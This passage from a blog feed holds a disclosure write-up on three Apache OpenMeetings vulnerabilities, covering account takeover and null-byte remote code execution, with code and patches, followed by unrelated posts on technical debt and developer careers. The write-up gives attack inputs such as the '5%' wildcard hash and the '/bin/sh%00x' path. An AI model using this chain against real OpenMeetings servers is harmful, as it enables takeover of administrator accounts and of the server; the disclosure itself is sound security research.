hijack an OpenMeetings instance and execute commands on the underlying server. All they need is an account that they can create themselves in the default configuration.&lt;/p&gt;&lt;h2&gt;OpenMeetings Vulnerabilities - Impact&lt;/h2&gt;&lt;p&gt;We discovered the following vulnerabilities in Apache OpenMeetings:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;CVE-2023-28936: Weak Hash Comparison&lt;/li&gt;&lt;li&gt;CVE-2023-29032: Unrestricted Access via Invitation Hash&lt;/li&gt;&lt;li&gt;CVE-2023-29246: Null-Byte Injection&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These Apache OpenMeetings vulnerabilities allow a self-registered user (enabled by default) to &lt;strong&gt;take over an admin account&lt;/strong&gt; and gain &lt;strong&gt;remote code execution&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtube.com/embed/vtLd7OL6qMY&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The account takeover is possible due to the combination of a &lt;strong&gt;logical flaw&lt;/strong&gt; and a &lt;strong&gt;weak hash comparison&lt;/strong&gt;. Attackers can trigger certain actions in an unexpected order to create a room invitation without a room assigned to it. This results in an &lt;strong&gt;unrestricted invitation&lt;/strong&gt; to access any user account. By using a &lt;strong&gt;wildcard character&lt;/strong&gt;, attackers can redeem this invitation themselves and &lt;strong&gt;gain admin privileges&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Due to &lt;strong&gt;insufficient validation&lt;/strong&gt; of configurable items, attackers can use the acquired admin privileges to &lt;strong&gt;inject a null-byte&lt;/strong&gt; in one of the binary paths. This can be leveraged to &lt;strong&gt;run an arbitrary binary&lt;/strong&gt; and thus results in remote code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All vulnerabilities were fixed with Apache OpenMeetings &lt;strong&gt;7.1.0&lt;/strong&gt;.&lt;/p&gt;&lt;h2&gt;OpenMeetings Vulnerabilities - Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we explain how the room invitation of OpenMeetings works and dive into the technical details of the account takeover and the null-byte injection.&lt;/p&gt;&lt;h3&gt;Room Invitation&lt;/h3&gt;&lt;p&gt;OpenMeetings allows users to add events to their calendars. When a new event is added, an individual room is created, which can be used during the event:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3d15f97e-95d5-4450-b90e-2cca523a6877/openmeetings_room-invite-01.png&quot; /&gt;&lt;p&gt;A user within a room can send an invitation to another user:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/86b14d0b-300f-4029-9f17-8d46411954c8/openmeetings_room-invite-02.png&quot; /&gt;&lt;p&gt;Such an invitation is represented as an &lt;code&gt;Invitation&lt;/code&gt; class. When an object of this class is created, the invitee is set, and a random UUID is used as the hash:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-web/src/main/java/org/apache/openmeetings/web/common/InvitationForm.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected Invitation create(User u) {
  Invitation i = new Invitation(getModelObject());
  // ...
  i.setInvitee(u);
  i.setHash(randomUUID().toString());&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Also, the &lt;code&gt;Invitation&lt;/code&gt; object is bound to the specific room by calling &lt;code&gt;setRoom&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-web/src/main/java/org/apache/openmeetings/web/room/menu/RoomInvitationForm.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public void updateModel(AjaxRequestTarget target) {
  super.updateModel(target);
  Invitation i = getModelObject();
  i.setRoom(roomDao.get(roomId));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once the user submits the invitation, the invitee receives an email with an invitation link. This link points to &lt;code&gt;/openmeetings/hash&lt;/code&gt; and contains the generated hash in the &lt;code&gt;invitation&lt;/code&gt; query parameter, e.g.:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/openmeetings/hash?invitation=52e2f294-cc34-13...&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This invitation hash is then used to retrieve the corresponding &lt;code&gt;Invitation&lt;/code&gt; object by calling &lt;code&gt;getByHash&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-web/src/main/java/org/apache/openmeetings/web/app/WebSession.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public void checkHashes(StringValue secure, StringValue inviteStr) {
  // ...
  invitation = inviteDao.getByHash(inviteStr.toString(), false);
  // ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To summarize: an invitation is &lt;strong&gt;bound to a specific room and user&lt;/strong&gt;. It can be redeemed with a &lt;strong&gt;randomly generated hash&lt;/strong&gt;.&lt;/p&gt;&lt;h2&gt;Weak Hash Comparison (CVE-2023-28936)&lt;/h2&gt;&lt;p&gt;The first vulnerability resides within the &lt;code&gt;getByHash&lt;/code&gt; method. This method uses the following named query to retrieve the &lt;code&gt;Invitation&lt;/code&gt; object from the database identified by the user-provided hash:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-db/src/main/java/org/apache/openmeetings/db/entity/room/Invitation.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@NamedQuery(name = &quot;getInvitationByHashCode&quot;, query = &quot;SELECT i FROM Invitation i where i.hash LIKE :hashCode AND i.deleted = false&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The hash value is compared using the &lt;code&gt;LIKE&lt;/code&gt; operator. In contrast to a strict comparison using the equals sign (&lt;code&gt;=&lt;/code&gt;), the &lt;code&gt;LIKE&lt;/code&gt; operator allows wildcards to be used. The default database, H2, requires at least one character before a wildcard. Thus, when, e.g., passing the hash value &lt;code&gt;&amp;quot;5%&amp;quot;&lt;/code&gt;, all &lt;code&gt;Invitation&lt;/code&gt; objects with a hash value beginning with five are returned. This way, an attacker can easily enumerate valid invitation hashes and redeem them (the charset of a UUID is limited to &lt;code&gt;[0-9a-f]&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since an invitation is bound to a specific room, this only allows an attacker to access this room on behalf of the invited user. No other interactions with the applications are possible. But let’s see how an invitation is redeemed.&lt;/p&gt;&lt;h2&gt;Unrestricted Access via Invitation Hash (CVE-2023-29032)&lt;/h2&gt;&lt;p&gt;After the &lt;code&gt;checkHashes&lt;/code&gt; method retrieved an invitation, the method continues by declaring a set called &lt;code&gt;hrights&lt;/code&gt; and tries to determine the room for the invitation:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-web/src/main/java/org/apache/openmeetings/web/app/WebSession.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  // ...
  Room r = null;
  if (invitation != null &amp;&amp; invitation.isAllowEntry()) {
    // initialize hrights set
    Set&lt;Right&gt; hrights = new HashSet&lt;&gt;();
    // try to determine room associated to invitation
    if (invitation.getRoom() != null) {
      r = invitation.getRoom();
    } else if (invitation.getAppointment() != null &amp;&amp; invitation.getAppointment().getRoom() != null) {
      r = invitation.getAppointment().getRoom();
    }
    // ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the room was successfully identified, the constant &lt;code&gt;Right.ROOM&lt;/code&gt; is added to the &lt;code&gt;hrights&lt;/code&gt; set. At last, &lt;code&gt;setUser&lt;/code&gt; is called, passing the invitee and &lt;code&gt;hrights&lt;/code&gt; as parameters:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-web/src/main/java/org/apache/openmeetings/web/app/WebSession.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;    if (r != null) {
      // room was identified
      redirectHash(r, () -&gt; inviteDao.markUsed(invitation));
      hrights.add(Right.ROOM);
      roomId = r.getId();
    }
    // set session user to invited user
    setUser(invitation.getInvitee(), hrights);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Please note that if no room could be identified, the &lt;code&gt;hrights&lt;/code&gt; set is empty when being passed to &lt;code&gt;setUser&lt;/code&gt;. In this case, the rights for the newly set user are not restricted but derived from the user itself:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-web/src/main/java/org/apache/openmeetings/web/app/WebSession.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private void setUser(User u, Set&lt;Right&gt; rights) {
  userId = u.getId();
  if (rights == null || rights.isEmpty()) {
    // rights empty? derive rights from user
    Set&lt;Right&gt; r = new HashSet&lt;&gt;(u.getRights());
    // ...
    this.rights = Collections.unmodifiableSet(r);
  } else {
    // rights not empty? only apply these
    this.rights = Collections.unmodifiableSet(rights);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This means that redeeming an invitation with no room attached to it results in an unrestricted session in the context of the &lt;em&gt;invited&lt;/em&gt; user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although the usual sequence of actions prevents this, attackers can circumvent this by bringing the application to an unexpected state. At first, an attacker could create an event (&lt;code&gt;1&lt;/code&gt;) and join the associated room (&lt;code&gt;2&lt;/code&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3ba38c28-1ab2-405c-853c-6d49d962e05f/openmeetings_flow-01.png&quot; /&gt;&lt;p&gt;Now, the attacker deletes the event (&lt;code&gt;3&lt;/code&gt;) while still being present in the room. Although the room is also deleted when its associated event is deleted, the presence of the attacker in the room makes this a &lt;em&gt;zombie room&lt;/em&gt;. Next, the attacker creates an invitation for the admin user to this room (&lt;code&gt;4&lt;/code&gt;). This results in an invitation with no room attached to it:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f7daff54-1ead-4f58-81eb-dd14a1b7c9d8/openmeetings_flow-02.png&quot; /&gt;&lt;p&gt;At last, the attacker could leverage the weak hash comparison to redeem the invitation by using a wildcard character (&lt;code&gt;5&lt;/code&gt;). Although an error is raised when redeeming the hash for such an invitation, a valid web session for the invitee with full permissions of this user is created. This web session can be accessed by using the session cookie in the server’s response (&lt;code&gt;6&lt;/code&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bbbe726d-8ad3-4f09-b589-ac5210c754ed/openmeetings_flow-03.png&quot; /&gt;&lt;p&gt;The acquired admin privileges allow attackers to change the configuration of the OpenMeetings instance. This includes adding and removing users and groups, changing room settings, and terminating sessions of connected users. Although this is already quite powerful, we were looking for a way to gain code execution to control not only OpenMeetings but also the underlying server.&lt;/p&gt;&lt;h3&gt;Null-Byte Injection (CVE-2023-29246)&lt;/h3&gt;&lt;p&gt;OpenMeetings allows an administrator to configure the path for the executables of ImageMagick, FFMPEG, etc. For example, the path for the &lt;code&gt;convert&lt;/code&gt; binary is retrieved by calling &lt;code&gt;getPath&lt;/code&gt; with the configuration key &lt;code&gt;CONFIG_PATH_IMAGEMAGIC&lt;/code&gt; and the name of the binary (&lt;code&gt;convert&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-core/src/main/java/org/apache/openmeetings/core/converter/BaseConverter.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected String getPathToConvert() {
  return getPath(CONFIG_PATH_IMAGEMAGIC, &quot;convert&quot;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;getPath&lt;/code&gt; method adds a file separator to the configured path if not already present and appends the name of the binary:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-core/src/main/java/org/apache/openmeetings/core/converter/BaseConverter.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public abstract class BaseConverter {
  // ...
  private String getPath(String key, String app) {
    final String cfg = cfgDao.getString(key, &quot;&quot;);
    StringBuilder path = new StringBuilder(cfg);
    if (!Strings.isEmpty(path) &amp;&amp; !cfg.endsWith(File.separator)) {
      path.append(File.separator);
    }
    path.append(app).append(EXEC_EXT);
    return path.toString();
  }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Due to the fact that the configured path does always end with a file separator (e.g., slash) and the executable name is fixed (e.g., &lt;code&gt;convert&lt;/code&gt;), it seems not possible to run executables with different names. Though, when injecting a null-byte in the configured path, every character following the null-byte will be ignored. Although the &lt;code&gt;ProcessBuilder&lt;/code&gt; class used to execute the command carries on the null-byte in the Java realm, the implementation of the actual execution of the command is OS-specific and implemented in native C. While in Java the length of a string is stored separately allowing it to contain null-bytes, in C a single null-byte designates the end of the string effectively ignoring every character that was appended after the null-byte.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This allows an attacker with admin privileges to gain code execution by changing the ImageMagic path to &lt;code&gt;&amp;quot;/bin/sh%00x&amp;quot;&lt;/code&gt; (a single character after the null-byte is required to prevent it from being ignored in the first place). When now uploading a fake image containing a valid image header followed by arbitrary shell commands, the conversion spawns &lt;code&gt;/bin/sh&lt;/code&gt; with the first argument being the fake image, effectively executing every command in it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In combination with the account takeover, this vulnerability allows a self-registered attacker to gain remote code execution on the underlying server.&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;In this section, we briefly look at the applied patches to fix the vulnerabilities. All vulnerabilities were fixed in OpenMeetings version 7.1.0.&lt;/p&gt;&lt;h3&gt;Issue 1 - Weak Hash Comparison (CVE-2023-28936)&lt;/h3&gt;&lt;p&gt;Interestingly, the weak hash comparison vulnerability was not fixed by changing the underlying SQL statement, but by adding an additional check whether the retrieved hash value completely matches the provided value:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-db/src/main/java/org/apache/openmeetings/db/dao/room/InvitationDao.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private Invitation get(String hash) {
  Invitation i = only(em.createNamedQuery(&quot;getInvitationByHashCode&quot;, Invitation.class).setParameter(&quot;hashCode&quot;, hash).getResultList());
  return i != null &amp;&amp; i.getHash().equals(hash) ? i : null;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This prevents an attacker from redeeming an invitation hash using a wildcard character.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Issue 2 - Unrestricted Access via Invitation Hash (CVE-2023-29032)&lt;/h3&gt;&lt;p&gt;The second issue was mitigated by adjusting the &lt;code&gt;setUser&lt;/code&gt; method. The applied permissions are not derived from the given user anymore if the &lt;code&gt;rights&lt;/code&gt; set is empty:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-web/src/main/java/org/apache/openmeetings/web/app/WebSession.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private void setUser(User u, Set&lt;Right&gt; rights) {
  // ...
  userId = u.getId();
  if (rights == null) { // || rights.isEmpty() removed
    Set&lt;Right&gt; r = new HashSet&lt;&gt;(u.getRights());
    // ...
    this.rights = Collections.unmodifiableSet(r);
  }
  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This prevents an invitation without a room assigned to it resulting in unrestricted access to the invited user.&lt;/p&gt;&lt;h3&gt;Issue 3 - Null-Byte Injection (CVE-2023-29246)&lt;/h3&gt;&lt;p&gt;At last, the null-byte injection was fixed by validating the configured path via the &lt;code&gt;Path.of&lt;/code&gt; method:&lt;/p&gt;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;openmeetings-web/src/main/java/org/apache/openmeetings/web/admin/configurations/ConfigForm.java&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public void validate(IValidatable&lt;String&gt; validatable) {
  Configuration c = getModelFixType();
  if (Type.PATH == c.getType()) {
    try {
      Path.of(validatable.getValue());
    } catch (InvalidPathException e) {
      validatable.error(new ValidationError(e.getMessage()));
    }
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the configured path contains a null-byte, &lt;code&gt;Path.of&lt;/code&gt; throws an &lt;code&gt;InvalidPathException&lt;/code&gt; and the validation fails. This prevents the possible truncation of the applied file separator and binary name.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-20&lt;/td&gt;&lt;td&gt;We report all issues to maintainers.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-20&lt;/td&gt;&lt;td&gt;Initial response from maintainers;&lt;br&gt;
findings will be checked.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-28&lt;/td&gt;&lt;td&gt;Maintainers confirm issue 1.&lt;br&gt;
(Weak Hash Comparison, CVE-2023-28936)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-30&lt;/td&gt;&lt;td&gt;Maintainers confirm issue 2.&lt;br&gt;
(Unrestricted Access via Invitation Hash, CVE-2023-29032)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-04&lt;/td&gt;&lt;td&gt;Maintainers confirm issue 3.&lt;br&gt;
(Null-Byte Injection, CVE-2023-29246)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-09&lt;/td&gt;&lt;td&gt;Version 7.1.0 is released, which fixes all three issues.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;OpenMeetings Vulnerabilities - Summary&lt;/h2&gt;&lt;p&gt;In this article, we looked at an interesting issue in the web conferencing application Apache OpenMeetings, which was caused by an unexpected application state. While developers typically anticipate and account for expected states during the design and development of an application, unexpected states can arise due to unintentional misusage or intentionally triggered attacks. As we have seen, these unexpected states can inadvertently introduce security vulnerabilities that attackers can exploit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By following Clean Code principles, developers can reduce the risk of introducing these code vulnerabilities, ensuring that the application behaves as expected under various conditions. These principles promote security, maintainability, and reliability, enabling developers to anticipate and handle unexpected states more effectively.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We additionally pointed out the importance of this by demonstrating how attackers could combine the issue with a weak hash comparison to take over any user account. Furthermore, we looked at a null-byte injection caused by insufficient validation of user input, which results in remote code execution. At last, we looked at the applied patches and determined how the vulnerabilities were addressed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank the maintainers of Apache OpenMeetings for quickly responding to our report and providing a patch for all reported issues.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/onedev-remote-code-execution/&quot;&gt;Securing Developer Tools: OneDev Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/&quot;&gt;Zimbra Email - Stealing Clear-Text Credentials via Memcache injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/gocd-vulnerability-chain/&quot;&gt;Agent 008: Chaining Vulnerabilities to Compromise GoCD&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[New Research from Sonar on Cost of Technical Debt]]></title><description><![CDATA[New original research from Sonar puts a spotlight on the millions of dollars that businesses lose when they fail to implement an optimal approach for software development.  ]]></description><link>https://www.sonarsource.com/blog/new-research-from-sonar-on-cost-of-technical-debt</link><guid isPermaLink="false">fa0b397e-c9a3-5b25-881b-d837d7136373</guid><dc:creator><![CDATA[Manish Gupta]]></dc:creator><pubDate>Wed, 19 Jul 2023 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Today, we are releasing new original research that puts a spotlight on the millions of dollars that businesses lose when they fail to implement an optimal approach for software development.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The research, based on an examination of over 200 projects within a 12-month span, calculates that the attributed technical debt cost is &lt;strong&gt;$306,000 per year for a project of one million Lines of Code (LoC)&lt;/strong&gt;. This is &lt;strong&gt;equivalent to 5,500 developer hours spent on remediation&lt;/strong&gt;, development time that could be put towards more innovative and valuable projects. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the ongoing developer shortage, teams simply can’t afford to spend hours on fixing avoidable issues in code — IDC predicts a global shortfall of four million developers by 2025. Beyond this, &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt; can result in lower product quality, increased security risks, inferior business results, and reduced developer velocity, efficiency, and morale. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Whether it’s due to limited resources or lack of investment, when issues in software development are left unresolved, the result is future rework that can build up over time. With the growing adoption of generative-AI for code creation having the potential to proliferate a sub-standard codebase, attention on code quality becomes a business imperative.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To tackle the impact of technical debt, we strongly propose that organizations implement a &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code&lt;/a&gt; methodology to address issues in code that is added or changed, to prevent bad code from reaching production in the first place. Clean as You Code frees developers from the burden of dedicating cycles to fixing old, haphazard code, and enables them to focus on creating exciting, innovative features and products. This simple yet powerful methodology progressively improves the overall quality of the entire codebase with minimal development cost and effort. The codebase becomes clean, increasing software value and saving businesses the devastating cost of technical debt associated with dirty code. When all new code is clean, the overall technical debt does not increase and progressively reduces over time. &lt;/p&gt;&lt;h4&gt;&lt;strong&gt;Some highlights from the research:&lt;/strong&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;Over a five-year period, it&amp;#x27;s estimated that costs due to technical debt for one million lines of code can reach $1.5 million (equivalent to 27,500 developer hours). On top of this, technical debt issues become increasingly complex and burdensome when left unaddressed, impacting overall software quality. &lt;/li&gt;&lt;li&gt;Every month, code-level technical debt grows as new issues are added. The volume of new issues created per month varied over the 12 months across all the analyzed projects. &lt;/li&gt;&lt;li&gt;Employing a Clean as You Code methodology allows organizations and their developers to avoid the expensive cost associated with technical debt as well as overcome the negative long-term impacts by preventing bad code from reaching production in the first place.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Check out the full &lt;a href=&quot;https://discover.sonarsource.com/estimating-code-technical-debt&quot;&gt;cost of technical debt&lt;/a&gt; report.  &lt;/p&gt;&lt;h4&gt;&lt;strong&gt;Report Methodology&lt;/strong&gt;&lt;/h4&gt;&lt;p&gt;The report, “Estimating the Cost Attributable to Code-Level Technical Debt,” attributes the maintenance cost of fixing coding issues by examining over 200 real-world projects of varying sizes and programming languages (27% contained multiple languages) within the span of 12 months. The data extracted totaled approximately 11M Lines of Code (LoC), and the average size of projects examined was approximately 500,000 LoC. The extrapolated data was analyzed using SonarQube, a self-managed code analysis offering from Sonar, and used to calculate the forward impact of not employing a Clean as You Code methodology. Analysis of the data portrayed a split between issues classified as &amp;quot;critical”, those that block forward progress and manifest bugs and vulnerabilities, and &amp;quot;others”,  problems in the code that require attention and may potentially lead to maintainability issues or serious flaws downstream if not attended to.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How Sonar Developer Advocates got started in their careers]]></title><description><![CDATA[Interviews with Sonar’s Developer Advocates on their careers and what Clean Code means to them.]]></description><link>https://www.sonarsource.com/blog/sonar-developer-advocates-careers</link><guid isPermaLink="false">59708ce0-d93c-5cb5-845e-53b059f67096</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Tue, 18 Jul 2023 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sonar’s Developer Advocates play a vital role in being the bridge between our developer community and our company. They foster collaboration, knowledge sharing, and innovation, ultimately contributing to the growth and success of developers through modern application development. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By establishing strong relationships with developers and promoting the value of &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt;, they help shape the technology landscape and drive positive change in the industry. They glean key insights into our customers and community&amp;#x27;s wants and needs and help drive continued innovation in Sonar’s products. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We took a few minutes to sit down with two of our Developer Advocates to find out how they started their careers.&lt;/p&gt;&lt;h3&gt;&lt;strong&gt;&lt;em&gt;How did you get started in your career?&lt;/em&gt;&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.linkedin.com/in/bendechrai/&quot;&gt;&lt;strong&gt;BEN DECHRAI&lt;/strong&gt;&lt;/a&gt;: I started my first developer role straight out of university in 1999. I was coding in VB.ASP but quickly got into PHP development. When I moved to Melbourne, Australia, I got involved with the developer community, running and speaking at meetups and conferences. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then in 2018, I was recruited to be a Developer Advocate for a US-based company, and I decided to close my consulting business to pursue the job full-time. I already knew that I loved engaging with the community and I was excited to dedicate myself to this.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the things I love about developer advocacy is that I get to represent a company and a brand that I believe in, and I also get to represent the community. It&amp;#x27;s about having an authentic conversation with developers about what problems they&amp;#x27;re facing. And it&amp;#x27;s not just about me trying to solve their problems. I learn from them as well, and that interaction is powerful. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Developer advocacy sits on the edge of the business because we are there to represent a brand and bring product awareness to developers while also capturing feedback for our product team. We get the best of both worlds - we make developers&amp;#x27; lives easier and help the business we work for simultaneously.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.linkedin.com/in/philnash/&quot;&gt;&lt;strong&gt;PHIL NASH&lt;/strong&gt;&lt;/a&gt;: I started in 2007 as a Junior Front End Developer at a digital asset management company. Back then, it was just building webpages and battling to make them work in IE6. I quickly got the opportunity to join an agency called Mint Digital, which was building its applications in Ruby on Rails, allowing me to understand the full stack. I was lucky enough to lead development on a platform where we used the Instagram API to turn photos into refrigerator magnets, which was a pleasing success.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While at Mint, I also got more involved in local developer communities. I started attending local events and hackathons and speaking. And that led me to my next role, a Twilio Developer Evangelist. That role allowed me to use my experience to teach developers worldwide about communications APIs - how to send text messages and make phone calls in just a few lines of code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At the start of this year, I joined Sonar, where I’m happy to be part of the team spreading this message of Clean Code. You&amp;#x27;ll find me writing technical articles, working on open-source projects, or speaking at events to spread this message and use my experience to help developers build better applications using Clean Code principles.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/s1YM2OLI1PY&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;&lt;strong&gt;&lt;em&gt;When did you decide you wanted to be a developer? &lt;/em&gt;&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;BD&lt;/strong&gt;: I first thought about being a developer when I was around seven. I relocated to the UK from Germany, and during that time, I remember being fascinated with computers. I attribute that primarily to my dad. He was a forensic scientist with a little home lab with testing machines and instruments. He had chemical reagent testing machines controlled by a computer, and I was intrigued by the intersection of software and hardware. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the UK, we got a PC similar to today&amp;#x27;s, and I still remember being hugely impressed. I started programming in Basic and Assembly and just dabbling around. I loved the satisfaction of writing code and getting a computer to do what I wanted. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When Windows 3.1 was the primary desktop graphical user interface, I wrote software that allowed multi-user capabilities so you could save your profile and tinker with settings without annoying another family member. It was inevitable at that point that I would get into computer science.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some think code is simple instructions that make the computer do what you want. But it is a creative process because there are many different ways to implement the same algorithm or make software do a particular piece of business logic. It&amp;#x27;s up to the developer to work out how they want to implement it and then 